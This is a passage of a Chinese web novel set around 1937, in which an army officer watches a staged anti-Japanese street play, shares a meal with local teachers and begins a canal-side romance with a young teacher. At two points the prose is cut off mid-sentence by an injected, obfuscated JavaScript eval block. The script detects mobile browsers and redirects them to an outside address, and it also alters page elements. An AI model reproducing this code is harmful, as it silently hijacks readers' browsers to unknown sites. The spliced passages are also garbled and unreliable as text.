“这个呀?”徐雅想了想,扭过头去,“梦芸,你说呢?我想呀,说了就没啥意思了。” “我也是这样想的。要不,调整安排?”梦芸笑着和徐雅耳语几句。 “调整安排?”我有些迷糊了。 “这是我们的秘密哦!之秋,现在临近中午了,我们先去吃些小吃。午后游船去,享受一下运河风光,晚间玉轩安排好了。至于小吃去哪家,梦芸,这个你在行,你说说,去哪家好呢?” 梦芸想了想,笑着说:“要说我们这儿的特色呀,我觉得还是去东门街那家老李馄饨,皮薄,馅多,用料也真。我自是常去的,若有带着外地朋友过去,每每都赞不绝口;还有他们家的戚继光烧饼,也是一绝。” 我听了有些好奇了。“这儿还有戚继光烧饼?” “有的有的,那位李老板是福建人,听说祖上还随戚继光打过倭寇,烧饼的手艺就是从那时传下来的,味道好好了,特别是配着那馄饨吃,这个林长官可一定要尝尝。” “那就这安排啦,梦芸,你前面带路哦。” “得令,这就出发啦......” 那真是美好的一天。 在我记忆里,小城给我挺好的印象:有美景,有小吃。有位女生唱了《渔光曲》,后边还诵读了《人间四月天》;还有,那不时害羞的神情。 4. 街头义演 次日上午,表哥带着我一起去拜访徐雅的父母。到了那儿一看,徐雅家还真不错,深宅大院的,那门房见了表哥,自是恭敬加热情。 午餐后徐雅便拉着我说带我逛逛,看看当地的民风民俗,表哥却是有客来访,自个回县府去了。 下午大街上人不少,和前两天相比,多了不少小摊小贩,熙熙攘攘的。徐雅说那是每月农历逢一的集市;周边乡镇的都会过来赶集的,人自然就多了。 我们逛着逛着,就走到了城隍庙前那个小广场,这里人更多了。 哐、哐、哐!声声锣鸣,很快就聚集一些人群,围成一个圈子,徐雅便拉着我说看看。我便有些纳闷,这卖艺不是挺常见的么,怎么徐雅今天有兴趣?不是说梦芸她们要搞街头义演,可这人影也没见着呀。 彼时我对街头义演还没啥概念,以为应该是要有个台子,拉些条幅,或还有些学生打着写满标语的彩旗什么的,可这一切都没见到;城隍庙前那个老戏台上可是空无一人。 看着徐雅一脸兴趣盎然的样子,我只好耐着性子往人群圈子中看去。 只见一位老者,戴着秃毡帽,灰白的头发,渣渣的胡子,满脸的风霜;他一边“哐、哐、哐!”的敲着一个老旧的铜锣,一边扯着嗓子喊着:“各位老少爷们!各位大姑大姐们,有钱的,帮个钱场,没钱的,捧个人场......” 直到人群逐渐安静下来,老者便拿起一把胡琴,拉起小曲。还别说,那胡琴真是拉的不错。 几段小曲拉完,那老者唤上一个姑娘给大家献艺。 那姑娘二十出头的样子,长长的辫子,上身是蓝底碎花夹裳,下着打着补丁的黑裤;她包着蓝花头巾,容貌尚好,只是看上去一脸的疲惫。 那老者也不管,张口就是一声历喝:“来!伺候老少爷们一个小曲儿,唱上一段!” 姑娘抬起了头,顺着老者似泣如诉的胡琴,幽咽的唱起来:“高粱叶子青又青,九月十八来了日本兵。先占火药库,后占北大营。杀人放火真是凶。杀人放火真是凶,中国的军队,有好几十万。恭恭敬敬让出了沈阳城!……” 姑娘唱着唱着,忽然就剧烈咳嗽起来,上气不接下气,唱不下去了。老者见状便慌忙抱拳向四面人群哀求道:“各位老少爷们!各位大姑大姐们,我们是东北那嘎啦的,小鬼子占了东三省,实在活不下去了,这才逃到关内来。这姑娘是我亲闺女,我们一路南下,一路卖艺,可愣是找不到一个安身的地方,三天两头饿着肚子,没吃的呀!她是饿的……” 我听了脸上顿时火辣辣的,心说身为革命军人,这是耻辱啊! 周边的民众不由得一阵叹息,看着那老者端着铜锣上来,有几位掏出些许铜元,表示同情和支援;我也把手伸进袋子,掏出好些铜元来;而徐雅在一旁看上去有些激动的样子,直接掏出一个光洋,放在老人的铜锣上。 我心里才说大家小姐就是不一般,就见那圈子里的卖唱姑娘在作揖答谢,忽然就觉得好生奇怪:这姑娘居然似曾相识? 老者转了一圈,一番作揖打躬,连连道谢之后,又操起胡琴,要姑娘唱下去,那姑娘应该是饥饿加劳累吧,怎么唱都不成调了。 那老者怒了,大声呵斥着,那姑娘便瑟瑟发抖,终于唱不下去了。 那老者把胡琴一放,就从背后抽出一条鞭子先抡了一个空响,那姑娘脸色大变,一时吓得说不出话来;那老者情急之下,拿起皮鞭就将狠狠朝着姑娘抽去,姑娘躲闪不急,“啪”的一声,鞭子就落在背上。或是又饿又累,或是柔弱不支,姑娘就势瘫倒在地。 只听一声断喝:“住手!放下你的鞭子!” 就见人群中有二三个学生模样的青年冲入场内,一把抢下老者手中的鞭子扔在地上,顺势就护住那姑娘;而那老者见状是又惊又怕,一下子没站稳,居然跌坐在地。 那姑娘也是一惊,急忙挣扎起来冲过去扶起老人,满脸惊恐四下作揖。 “各位行行好,放过我们父女吧,我们这也是没办法,东北叫鬼子占了,活不下去才一路南逃下来,无处安身也没有饭吃,大家伙可怜可怜我们吧!” 那几位学生模样的,或是觉得吓到了这对父女,便过去扶着他们;其中一位,热血涌动的样子,走到场子中间,大声宣讲起来。 “同胞们,同胞们!大家看看,这就是我们的父老乡亲,这就是我们的兄弟姐妹!他们原来过得好好的,有可爱的家乡,有熟悉的亲朋,可是突然有一天,一群叫小日本的强盗就占了他们的家园,抢了他们的土地,夺了他们的生计,害的他们背井离乡,颠沛流离,过着凄惨的生活!可如今,这群强盗又要推什么华北五省自治,年前还在绥远一带挑事,虽然被我们英勇的国军将士打败了,可说不准哪天,这帮强盗就会瞄上我们,到我们这来烧杀抢掠!这对父女的今天,说不定就是我们的明天,大家伙说说,我们能答应么?” 我再也忍不住了,和徐雅一起大声的回应:“不答应!” 但略显尴尬的是,除了几位年轻人回应,大多数人却一脸茫然的样子!我顿时觉得阵阵心酸,这就是我们的国民吗? 这时一位身着长裳的中年人站了出来,满脸悲愤的唱起来:“我的家,就在东北松花江上,哪里有森林煤矿,还有哪,漫山遍野的大豆高梁;我的家在东北松花江上,那里有我的同胞,还有那衰老的爹娘。九一八,九一八.....爹娘啊,爹娘啊。什么时候,才能欢聚一堂!” 最后几句唱完,人群中终于有人忍不住了,一位黄包车师傅模样的中年人泪流满面的喊道:“我们不当亡国奴!” 那几位学生也伸出手臂,大声的喊道“同胞们站起来”“打倒日本帝国主义!”“打回老家去!”“把日本鬼子赶出去!” 大家的情绪终于如干柴烈火一般燃烧起来。一时间,口号声、怒吼声,回响在街井集市,激荡在这火一般的空气里。 人群渐渐散去,徐雅见我还有些激动,说广场离国民小学不远,笑着拉我过去喝茶。 该是学校在放四日的春假吧,校园里挺安静的。 穿过那月亮门,来到后园,那紫色花树在午后阳光下随着清风摇曳,甚是婀娜。我们走进了一间屋子,那中间是张方桌,窗边还有两张摇椅,看上去像是教工休息室的样子。 徐雅招呼我坐下,才烧开水,门外就传来阵阵说笑声,还有一位女生边走边哼唱着:“五月的鲜花开遍了原野,鲜花掩盖了志士的鲜血......” 这首歌我倒是听过,就觉得那唱歌的声音似乎有些熟悉,这是谁呢? 眼见着就见进来几位。我一看,这不是那对卖唱的父女,还有那位身着长裳的中年人么? “你们?你们这是?” 徐雅微笑着拉过那位卖唱姑娘,“之秋,你看看这位是谁?” 那卖唱姑娘摘下了头巾,大大方方伸出手来,笑着说:“林长官这是怎么啦?才隔一天就不认识啦?” “哦,你是洪梦芸!洪老师!这,你们这是?” 那位长裳中年人笑着说:“这是我们街头义演,名字就叫做《放下你的鞭子》。我看林长官今天是全程参与了,还请林长官不吝赐教,给我们多提些宝贵建议才是。” 看着我如梦初醒的样子,徐雅笑着和我一一介绍开来:“这位是教国文的王一鸣王老师,这位老爹是教算术的张文翰张老师,至于那几位学生模样的,他们是县中的老师和学生,有事暂没过来;这位是林之秋,我大学同学,毕业后投笔从戎了,现在南京任职。” 一番寒暄完毕,我自是对他们几位有些钦佩起来。 “你们这街头义演好啊,开始我还真以为这卖唱父女是逃难的。对了,张老师,你那一鞭子可是真打呀?连我都信了。” “林长官,这鞭子必须要真打,排练时打轻了洪老师还埋怨呢!” 我心里才说这鞭子下去万一打偏了怎么办,梦芸似乎就猜到我的心思,便笑着说:“没事没事,这个我们练了好多回,我还做了防护的,背上有夹袄,还塞了些棉花,打不疼的。” 王老师也笑着说:“我们这是第一次街头演出,没有经验;没有这一鞭子,民众还就是看客,剧本里这一鞭子,就是要打在他们心上啊!在学校里反响不错,但今天在街头,从现场效果来看,并不好。” “王老师后边这歌唱得好,那一鞭子下去,还有不少民众依然当看客,可您把歌一唱,特别是后边几句,催人泪下,唤醒效果就出来了。” “我这也是急中生智,原本剧本里是没这歌的。我原想按此前的排练加上一番演讲,可是看到现场大多民众漠然的样子,心中一急,再想起张、洪两位老师扮演东北难民,就用上这不久前学的《松花江上》了。” “原来这首歌名叫《松花江上》?”我有些羞愧,“之前没怎么听过,写的挺好的。” 梦芸有些动容了:“这首歌是去年张寒晖先生写的,最早在东北军里传唱,西安事变后才开始流传,我们也才学会不久;林长官您没听过,也不奇怪。” “几位老师,可否请你们再为之秋唱一遍《松花江上》?” 他们几位相互看了一眼,王老师便用他深沉浑厚的中音唱起来:“我的家,就在东北松花江上......”紧接着徐雅、梦芸他们也跟上了。 一曲唱罢,我忽然发现,包括我在内,所有人都已泪流满面。 我深深的低下了头,口中喃喃的说道:“耻辱啊,耻辱啊!” 梦芸有些疑惑:“林长官,您这是?” “九一八事变后,我们一帮同学也曾恨不能奔赴东北和日寇决一死战,以求还我河山,可始终未能如愿;屈指数来,如今东三省已丢失近六年了,此乃吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592259|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈革命军人之奇耻大辱!” “之秋,这不是你一个人的事。”徐雅安慰着说道,“我想真要有战事,别说你是军人,我们也绝不退缩。” 王老师接上话:“是呀,林长官。真要开战,那一定是全民族投入,要万众一心,去年西安事变后,国共双方已经和解,全民族抗日统一战线正在形成。但这还不够,我们要唤醒更多国人,让更多民众投身到这个民族大业来。” 我听了就觉得这个王老师不简单,他该不是延安那边的吧?不过对此我却很看得开。若真打起来,得全国上下同心聚力才有获胜的机会。 “这话说得是,我们国力弱,一定要积蓄力量。梦芸,你哥不是日本留学回来?你应该听他说起,当下我们和日本国力相比还差太多了。” “徐雅,你不要老提这个,好像去东洋留过学就一定亲日似的。” 王老师听了便笑着说:“哎呀,洪老师,徐老师,你们这又扯哪儿去啦,魏源先生不是说过要师夷长技以制夷么?” “说到这个,”张老师在一旁接上话了,“林长官,我好像听说咱们委员长也曾在日本军校留学?还有这战会打起来么?我们能打赢么?” “辛亥革命之前,委员长在东京振武学校加入同盟会,毕业后曾在日本陆军第十三师团当过士官候补生。至于这战事,迟早必打。靖康耻,犹未雪啊!虽然中日之间国力差距甚大,但我们绝不认输!你们或多或少也听说了吧?国军目前在向德国学习,我们也在努力!说起能否打赢,我们同学中有一共识:若战事一开,虽无每战必胜之把握,却有随时舍生报国之决心!若人人如此,前赴后继,何愁日寇不除?何愁我未来之民国,不展泱泱中华之雄风?” “林长官说得好!若战事一开,我也学您一个投笔从戎!” “张老师,就您那小身板,还想上阵杀敌呀?” “徐老师你可别瞧不起人,扛不起抢,总有其他的活儿可干,哪怕做做宣传,也是可以的。” 徐雅便顶回去:“张老师你要做宣传,现在就可以呀,这不是还有大批的民众要唤醒呢。” 梦芸出来打圆场:“你们又扯哪去啦,这不还没开打么,先解决眼下的问题才是。对了,林长官,您晚间可有安排?” “这个没有,不是说这几天听徐雅的么?” 梦芸便笑着说:“来得好不如来得巧,今日恰逢我们一月一聚的日子,我们这儿已准备好了面和馅,林长官若不嫌弃,晚间我们一同包饺子?” “这个好呀,我可是好久没包饺子了。” 徐雅听了便笑着说:“之秋,我怎么没听说你会包饺子呢?” “这可不怨我,读大学时包饺子都是你们女生的事啊。每回叫上我们男生,都是你们先包着,等我们到了都差不多好了;当然什么猪杂、花生还有小酒等都是叫我们男生去买的,还美其名曰为顺带。” 我这可是实话实说,想想大学的时光,真是好呀。 王老师一听便来劲了:“你们以前聚会还有小酒?还有下酒菜?有这等好事?怎么到如今啥都没有呢?徐老师,这不对呀!” “这有何难?不就是找男生顺带么?” “既然如此,今天我们可要打秋风了,不对,是打你和那位县长夫君的秋风,林长官晚间和我们一起同乐,徐老师你可要做好安排呀,也顺带顺带?” “好啦好啦,我这就去安排,叫上玉轩,晚间一块乐乐。” 梦芸听了高兴的说:“这就对了,孟老夫子不是说独乐乐不如众乐乐么?县长大人若可屈尊前来,我们正好可以汇报一下街头义演的事呢。” 王老师听了便笑着安排开了:“这样啊,那县中几位最好也要叫上。徐老师去请县长,当然最重要的是顺带!顺带什么,晚间开不开心就全凭徐老师安排。这点面和馅怕是不够,我再去添点;张老师就跑跑腿,去通知县中那几位。至于洪老师么,有一个重要的任务,那就是陪我们林长官四下逛逛,现在快4点了,我们约个时间,5点半回来集中,大家说这样可好?” 梦芸有些急了:“王老师,要买啥还是我去吧,哪有男士去的?” 张老师笑着说:“洪老师你这是不知情,上回王太太带孩子上县里来,王老师就买这买那的,他还能烧几个小菜呢。” 我也有些不好意思了。“还是去我打些小酒买些小菜吧,这个我拿手,以前大学里都是我来的。” 徐雅也笑了。“之秋,今天就你别和我争啦,说好我安排的,再说你也不知去哪儿买的。” 梦芸听了便说:“这个我熟呀,我可是常为家父带一些回去的。” “梦芸,你还是好好陪陪之秋啦,总不能把他一个人晾在这儿吧?再说午后沿着这一段运河走走也是不错的,你不是爱好古诗文么?正好可以和之秋交流一番,就这样定啦!” 5. 河边漫步 众人四下分开后,留下我和梦芸,一时有些尴尬。 未几,梦芸抬起头,轻声的说:“林长官,要不我们就四下走走?” 看着梦芸略显羞涩的模样,我一时竟然有些语塞的感觉。 “这个,这个就听洪老师的。” “那个,要不麻烦林长官先在外边等等?我总不能这一身卖唱姑娘的样子出去吧?” “好的,好的。”我忙不迭的走出屋子,就听身后传来偷偷的笑声。 等梦芸换好衣裳出来后,又让我有些心动了:飘飘长发上别着一个玉色的发卡,一身蓝布旗袍,白色的批肩;身材妙曼自不用说,虽是素颜,却是落落大方,清新自然。 梦芸笑着说:“林长官,我这都是小城里的打扮,比不上南京的。” “洪老师这是哪的话呀?清水出芙蓉,天然去雕琢。”不知怎的我就冒出这句。实在的,此前见多了金陵粉色,我始终还是觉得自然的好。 梦芸便有些害羞了。“您真会说话,要不,我们就沿着河边走走?” “好的,就麻烦洪老师了。” 才走了十几步,梦芸又抿嘴笑了:“林长官,您这是?您看我们两中间都可以过黄包车了,还吾辈青年,革命军人呢。” 我顿时便有些不好意思,心想还是大方些吧。 虽说如此,走着走着还是和梦芸保持半臂以上距离,一阵风儿吹过,我闻到了少女的阵阵幽香。 看着河边景色,我是心情好好。“洪老师,这儿真不错,加上这柳树密的,景色可比上苏杭了。” 梦芸又笑了:“苏杭呀?我们这小地方哪比得上呢?今日阳光甚好,蓝天绿水,特别是这一段杨柳婆娑,沿河漫步,自是好的。对了,您看那柳树下小船,是不是有些‘小舟撑出柳荫来’的味道?” 我一看确实如此。“这是宋人的诗?上一句是‘春雨断桥人不渡’。” 梦芸听了有些欣喜的问:“林长官读过?” “这还是上回去杭州公办,顺便游了西湖,经过断桥时听当地的同事说起有这么一句,自然就记下了。” 梦芸笑着说:“林长官真是好学呀。我们这虽然看上去平常,如春日花海,秋日红叶;又或冬日踏雪寻梅,别的地儿也有;但若小步驻留,细细品来,便觉不少景致可以入诗。譬如毛毛烟雨之时,看花开四野,和风轻抚,无需撑伞,在这河边一走,也是颇有意境,正如宋人那句---” “沾衣欲湿杏花雨,吹面不寒杨柳风 。” 两人居然不约而同读出来了,然后相视一笑。 “林长官端的是好记性。对了,听徐雅说起,林长官在大学时还曾是文学社的社长?” “那时少不经事,一些同窗好友,学古人吟诗歌赋,填词作对,不过是自娱自乐罢了。” 我嘴上这么说着,心中暗道不好:这徐雅,该不是说了我不少往事吧? 梦芸又笑了:“林长官过谦了,对于古诗词,梦芸也是真真喜欢的。” “哦?我也是的。” “不怕林长官笑话,在高小时梦芸就偷看家藏的《红楼梦》了,先是喜欢书中那些诗词对子,到了读县中,不知怎么就有些痴了。一度还想学黛玉,幻想着哪天遇到宝哥哥来着。后边读了师范,依旧喜好古诗词,唐诗自不用说了,对于宋人诗词,更是爱不释手的。” “原来洪老师也是个红迷呀。小时候我家红楼是不让看的,记得我姐偷看后还被家父好生责罚一番;我也是读大学后才通读过。对于宋人的诗词,我也是喜好的。” “是吗?不知林长官都喜欢哪些宋人呢?” “苏东坡,辛稼轩,岳武穆,陆放翁,李易安,文忠烈, 也就是文天祥;其中最喜欢的,当属岳武穆了。” “听林长官这么一说,梦芸便知道您为何投笔从戎了。” “哦,何以见得?” “您这儿啊,有大江东去,有醉里挑灯看剑,有生当为人杰,有人生自古谁无死,有家祭无忘告乃翁,更有怒发冲冠凭栏处,您这等胸怀,担得起革命军人。” 我怎么忽然觉得梦芸看我的眼神有些不一样呢? “洪老师见笑了。看宋一朝,独挡辽夏金元,多少英雄豪杰,文人志士,或忧国忧民,或慷慨赴死;单说那崖山一役,负君蹈海,浮尸十万,国亡人亡,何其悲凉!可谓是宋人最后之倔强,最后之骨气。” “说得也是,看看当今中国,怎么就觉得有些宋人面临之窘境呢?” “之秋也有同感。但中华脊梁始终在,日本人妄称什么崖山之后无中华,就不见有明一朝,不割地,不赔款,不和亲,天子守国门,君王死社稷?到了满清末期,先总理也不是喊出驱除鞑虏,恢复中华?才有我今日之民国。只是革命尚未成功,同志仍需努力!中国不会亡!一定会把日本鬼子赶出去的!” “今日受教颇多,梦芸也知林长官的志向了。对了,林长官,你们刚才说的这中日之间,真会再有一战么?” “从九一八东三省到一二八淞沪,到前年搞什么华北五省自治,如今中国早已是退无可退!” “那,那战端会在哪儿?”梦芸有些怯生生的问起。 “从地缘上看,华北危险;从经济上看,从淞沪到江浙这一带,也有可能。” “从淞沪到江浙这一带也会开战?”梦芸便是一声惊呼。 身在参谋本部,我自是知晓国防大纲的,这些年也在做相应准备;别的不说,国民政府可是在南京与上海之间修了两条防线,如何用好上海的国际影响力,如何主动出击,都有预案的。可这些怎能说出来? 我只能一个苦笑,慢慢的说道:“这只是我一个猜测罢了。华北这两年闹腾,自是容易出事;打仗也是拼经济,古人说兵马未动,粮草先行便是这个道理。上海是民国之金融中心,如果换一个角度,从日本人那想,他们会不会对上海垂涎三尺呢?” “应该会的。我明白了!怪不得前些年有一二八淞沪抗战!”梦芸想了想,兀自说道:“江浙一带自古繁华,记得书上说当年英国人首次侵华,也是打过浙江,闯入长江。” 梦芸这一说顿时让我有些另眼相看,真是冰雪聪明啊! 梦芸忽然又想到什么似的,脸色就有些白了,然后有些小心的问起:“若战事一开,林长官可是,可是要上战场?” “这个是自然。军人不上战场,何与报国?身为革命军人,皆应有以身报国之决心!对了,洪老师可听说过中央航校的校训?” “中央航校?” “是的,就在杭州笕桥。我儿时一玩伴,就在那毕业的,现在开驱逐机,让人好是羡慕。上回在杭州见了面,听他说起校训,真让人热血沸腾!那校训是:我们的身体、飞机和炸弹,当与敌人兵舰阵地同归于尽!” 我正想说这校训是何等悲壮!等哪天上了战场,若有需要,我也会抱着炸弹冲上去的,就见梦芸神色不对,“洪老师,你这是怎么了?” “没什么,只是,只是听了想哭。”梦芸眼圈红了起来。 我正不知该说什么,就听见河面上传来一阵胡琴声。 循声望去,见一叶孤舟缓缓而来,船头一位长衫老者正在操琴,那婉转悠扬的琴声中,似有淡淡的忧伤,那曲儿似曾相识,却一时想不起来;随着船儿驶过,拐入一湾,那琴声渐渐远去,终究和那小船消失在柳荫之后。 水波散尽,河面上阳光依旧。 “曲终人不见,江上数峰青。”梦芸幽幽的吟着。 想想真是应景。“洪老师,你这可知那琴师拉的是何曲子?” “知道的,好像是美国人做的曲子,弘一大师,也就是李叔同先生曾用此曲填词,就是《送别》,梦芸也会唱的。” “原来是《送别》啊,我才说似曾相识呢。” “林长官若是喜欢,梦芸就在这儿献丑了。”梦芸说罢便轻声唱起来: 长亭外,古道边,芳草碧连天; 晚风拂柳笛声残,夕阳山外山。 天之涯,地之角,知交半零落, 一壶浊酒尽余欢,今宵别梦寒。 长亭外,古道边,芳草碧连天; 晚风拂柳笛声残,夕阳山外山。 情千缕,酒一杯,声声离笛催, 问君此去几时还,来时莫徘徊。 草碧色,水绿波,南浦伤如何? 人生难得是欢聚,唯有别离多。 情千缕,酒一杯,声声离笛催, 问君此去几时还,来时莫徘徊。 一曲唱罢,梦芸见我居然沉默不语,有些不解的问道:“林长官,您这是怎么了?是梦芸唱的不好么?” 我缓过神来,忙做解释:“洪老师唱的挺好,让人迷醉在歌声里。我这是想起前边才说杀敌报国,说起中央航校之校训,又闻此歌,便想若真有那一天,有故人唱起,也是无憾了。” “林长官......” 梦芸眼里分明有晶莹的泪花在闪烁。 我心里咯噔一下,“是之秋不对,良辰美景,怎的说起这些来?我们不说这个,再聊聊诗词可好?要不,罚唱歌什么的也行。” 梦芸貌似还未缓过来,勉强挤出一丝笑容。 过了好一会儿,梦芸才说:“既然如此,那就罚作诗一首吧。听徐雅说起,林长官大学时常即兴赋诗填词,今天就让梦芸开开眼可好?以什么为题呢?对了,看见远处那小山上的长亭么?要不请林长官就以送别为题,以古诗为体,五言七言皆可,要有人有情有景,但诗中不可体现太多的离愁哦。” 怎么又是听徐雅说起啊?我一时有些无语了,这诗哪能说来就来?还得是旧体诗?我知道,这是梦芸想扭转氛围,给我出题了。 梦芸见我一时冥思苦想,便笑了。“林长官不必多虑,能作出即可。对了,听徐雅说若是加些压力,林长官很快就能作出来的。要不这样,就以我们回到学校前为限,若是作不出来,当罚酒三杯。” 得,又来了。还罚酒?李叔同,《送别》? 我看着斜阳里的梦芸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592260|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一地金黄的河岸,一阵风儿吹过些许落花,还有远处的船帆,忽然就有些灵感,张口就吟出来: 青山斜阳里,相看披落晖。 乱花时时舞,倦鸟双双回。 长亭送君去,浊酒三五杯。 寂落屏栏处,孤帆渐已微。 梦芸听了竟一时有些呆住了。“林长官,就这一会儿您作出来啦?青山斜阳里,相看披落晖......”梦芸又读了一遍, “这诗可是有些味道了。” “嗨!让洪老师见笑了,之秋不过是情急之下,又借着叔同先生的歌词,随口胡来,上不得台面的。” 我自是有些无奈的笑了,一首打油之作,勉强押韵而已。 “林长官过谦了,您这情急之下随口胡来,有人有情有景,读起来如看到画面一般,徐雅诚不欺我。大学里文学社长,自是不错的。” 我便有些不好意思了。“那都是成年旧事,如今军务较忙,诗词歌赋就少了,兵书反而看了些。” “能看兵书还能写诗呀,这若是回到大明或大宋,想必林长官定是风度翩翩之儒将的。” “洪老师又说笑了,就我这三脚猫的水准,恐怕连秀才都考不上。” “林长官怎会只是秀才呢?想想若梦回大宋,才子佳人,亦是不错。” 梦芸笑着刚接上话头,忽觉得有些不对,就听背后就传来一句笑问:“这谁是才子,谁是佳人呀?” 我一回头,就见表哥和徐雅两人不知何时已在身后,那笑问自是出自徐雅,梦芸脸色顿时就羞红起来。“徐雅!” 表哥见了忙打个圆场:“若回到大宋,我也是才子,徐雅自是佳人呀。” 徐雅一听便笑了。“得,某人怎么就那么臭美呢?” 表哥就势对徐雅一个长揖,然后唱戏般来了一句:“这位佳人,小生这番有礼了---”顿时惹得大伙都笑了。 笑声之余,我朝梦芸看去,却见梦芸也正朝我看来,两人眼光一对,便迅速转向一旁,梦芸脸色更红了。 那一刻,我忽然是心动的感觉! 我们边说边往回走,待回到学校,见老师们几位已忙开了。 大伙一起开心包饺子,梦芸见我手法娴熟,不由连声称赞,好几次和她目光一碰,她便迅速转向,那一脸娇羞的神情就在我眼里和心里。 大伙边包边聊,聊着聊着就说起下午街头义演,对于多数民众初如看客一般,大家感触颇多。追寻原因,表哥就直接归结为国民的劣根性了:“各位,民国都二十多年了,民众还是顽固不化啊!只要不杀到自己,就傻乎乎在一旁看着,可悲,可恨!” “这也不能全归结为劣根。我们中华从骨子里还是抗争的。” “哦?之秋你这样看?说来听听。”表哥来劲了。 “就说神话吧,你看西方,普罗米修斯盗火,若亚方舟逃难,大家都熟悉吧?咱们中国呢,女娲补天,后羿射日,精卫填海,夸父逐日,哪一个不是与天斗?真来洪水,我们不是有大禹治水吗?若说实物遗存,秦时不是有个李冰,在蜀地搞了个都江堰?这都是老祖宗留下的东西,把这些不服输的精神发扬光大,谁敢欺负我们?” “林长官说得对!”王老师在一旁接上了,“我们当老师的都知教育孩子爱国,可真要唤醒民众,就需要更多人来做,需要政府更多支持。面对小日本,我们要团结起来,整个中华民族要团结起来,形成全民族抗日统一战线,枪口一致对外,总有一天能把小日本赶出去的。” 表哥听了故作严肃的说:“唤醒民众是政府的事,上阵冲杀是林长官他们的事,而教书育人是你们老师的事。王老师,我听你讲的怎么有的像□□呀?” “这报纸上多了去,看多了自会说上一两句,爱国,人人有份!” 我看那王老师张口就回,心说表哥这是怎么回事呀?还扯上□□? 忽然想起他以前貌似挺同情那边的。 如今国共合作,我刚想说什么,徐雅就接上了:“你们几个呀!怎么每回见面都爱拌嘴呢?玉轩,这街头义演你不是挺支持的吗?” 表哥笑了:“支持,支持!爱国人人有份!” “这不就得了,我们这不是爱国么?” 这时梦芸端着一盘热气腾腾的饺子上来,“开饭啦,开饭啦!” 一阵欢呼过后,大家说笑着入座、 梦芸边分碗筷边开心的说道:“县长大人,跟您汇报一下,我们今天募得十七元二角,比上回单单搞募捐多了近十元呢,这可多买好些药品、棉纱啦。今后县长要多支持多支持我们义演,多支持募捐哦!” 表哥笑着竖起了大拇指。“这么多?这再来两回不是可以买一头牛了么?下回商会搞活动,你们就把这义演带上,那募得肯定更多。” 老师们正连声道谢,就见徐雅把小酒、卤杂和花生米什么都端上来了,一边摆桌一边大声的说着:“玉轩还真买牛啦!今晚就有卤牛肉,还有烧鸡,大家要尽兴哦!” 晚间小酒喝得真爽。 6. 初次登门 转眼间就是第四日,对于这座小城,我忽然有些不舍。 早起后寻那东门馄饨小店吃早餐,回到旅店时便见一位身着米黄西式风衣的女子等在那里,棕色的小圆礼帽下长发飘飘,好美的。 待她一回头,原来是梦芸,我居然一时有些认不出来了。 “林长官早呀!” “洪老师早!” “林长官这是从哪儿回来呀? “外出吃个早点,随后就自个逛逛,说实在的,我是越来越喜欢这小城了。” “林长官这么快就喜欢上这里啦?”梦芸一脸的欣喜,“那,那可以问一声,林长官都喜欢些什么呢?” “这个,可多啦。你看这城,就如同在画里一般,山色如早春新发之嫩芽,水波若南风下之银白月光……” 梦芸听了便笑着说:“听着林长官说话 ,就好像作诗来着。” “洪老师见笑了,你看早间这水波光粼粼的,一片银白,就瞎比一番。” “哪能呢?听林长官这么一说,再看这水,还真有些味道。除了这山,这水,林长官还喜欢什么呢?” “还有那馄饨,就着戚继光那饼,真是好吃。今早我可是自己去吃了一回。” 梦芸看着听着就掩口笑了。“林长官还这么好吃呀?” “都说民以食为天,有美景,自然要有美食啦。” “好吧。除了吃的,还有么?” “还有,诵读《人间四月天》的人儿,可比南京、上海那些明星质朴多了,骨子里透着气质来着。说实话,听那诵读,都觉得人要融在画里似的。” 不知怎的,我居然脱口而出,糟糕!怎么就当面说起呢? 梦芸羞涩的低下头,轻声的说道:“林长官,您又说笑了,梦芸当不起的。” “洪老师……”那一刻,我忽然被什么砸中似得,有些呆住了。 “嗯。”梦芸红着脸儿,轻轻的应了一声。 “洪老师,”我忽然觉得有些口干舌燥了,“这好生的奇怪,之秋就是,就是有时候觉得吧,觉得和洪老师似乎,似乎曾在哪儿见过似的。” “真的?”梦芸抬起了头看了我一眼,又迅速转向他处,小声说着:“这感觉,梦芸也有的。” 我听了心里一热,想要说些什么,却一时找不到词了,呆在那儿,就看着梦芸低着头,兀自拨弄着那衣带,正觉得有些尴尬的时候,耳边传来一阵铜铃般的笑声:“哈,原来你们在这里!” “徐雅!你这吓死人啦!” “不是说好早间一同接之秋去书院走走,逛逛夫子庙么?没想到你可是先到了。梦芸你今天穿的可是真好看!咦,梦芸,你脸蛋怎么红红的呀?是身体不舒服么?” 徐雅说着说着,就先摸了一下自己的额头,然后用手背去触梦芸的。 梦芸笑着用手推开了。“你才发烧了呢!” “这体温完全正常呀。梦芸你这是?”徐雅恍然大悟似的两手一拍,笑着说:“我明白了,这是害羞闹的。梦芸,你该不是喜欢上我们家之秋啦?” 梦芸急的跺了一下脚,“徐雅!你可别瞎说!” 徐雅一愣,“我没瞎说呀,哈,之秋你怎么也脸红啦?喜欢我们家梦芸就说出来呀,男子汉大丈夫,有什么不敢的,还革命军人呢!” 好吧,徐雅这一下就把我和梦芸闹个大红脸,还都成为她家的。 徐雅那小嘴还不停,“这红线我可是要牵定的,梦芸我给你说呀,我这表弟一表人才就不说了,年纪轻轻就成了部里的军官,听说上级长官也看好,前途自是无量,还听说好多女孩子都喜欢他的。” 